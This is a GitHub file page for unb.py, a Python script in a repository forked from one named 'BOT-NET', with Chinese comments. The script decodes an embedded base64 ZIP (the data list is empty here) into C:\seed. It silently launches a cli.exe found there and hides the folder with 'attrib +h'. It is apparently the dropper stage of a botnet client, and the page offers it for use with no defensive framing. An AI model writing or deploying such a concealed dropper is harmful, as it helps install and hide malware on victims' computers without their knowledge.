forked from XXX-Stalker/BOT-NET
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathunb.py
More file actions
57 lines (47 loc) · 1.67 KB
/
unb.py
File metadata and controls
57 lines (47 loc) · 1.67 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
import os
import zipfile
import tempfile
import base64
import subprocess
EMBEDDED_ZIP_CHUNKS = [
]
def extract_embedded_zip():
# 合并并解码Base64数据
zip_data = base64.b64decode(''.join(EMBEDDED_ZIP_CHUNKS))
# 写入临时ZIP文件
with tempfile.NamedTemporaryFile(delete=False, suffix=".zip") as temp_zip:
temp_zip.write(zip_data)
temp_zip_path = temp_zip.name
# 创建目标目录(如果不存在)
extract_dir = r'C:\seed'
os.makedirs(extract_dir, exist_ok=True)
# 解压ZIP文件
with zipfile.ZipFile(temp_zip_path, 'r') as zip_ref:
zip_ref.extractall(extract_dir)
# 清理临时文件
os.unlink(temp_zip_path)
return extract_dir
def run_extracted_program(extract_dir):
# 遍历解压目录寻找可执行文件
for root, dirs, files in os.walk(extract_dir):
for file in files:
# 检查客户端
if file.lower() == 'cli.exe':
exe_path = os.path.join(root, file)
try:
# 启动程序(不等待其结束)
subprocess.Popen([exe_path], cwd=root)
return
except:
return
# 如果没有找到可执行文件,静默返回
def hide_directory(dir_path):
#隐藏目录
try:
subprocess.run(f'attrib +h "{dir_path}"', shell=True, check=True)
except subprocess.CalledProcessError as e:
return
if __name__ == "__main__":
extraction_path = extract_embedded_zip()
run_extracted_program(extraction_path)
hide_directory(extraction_path)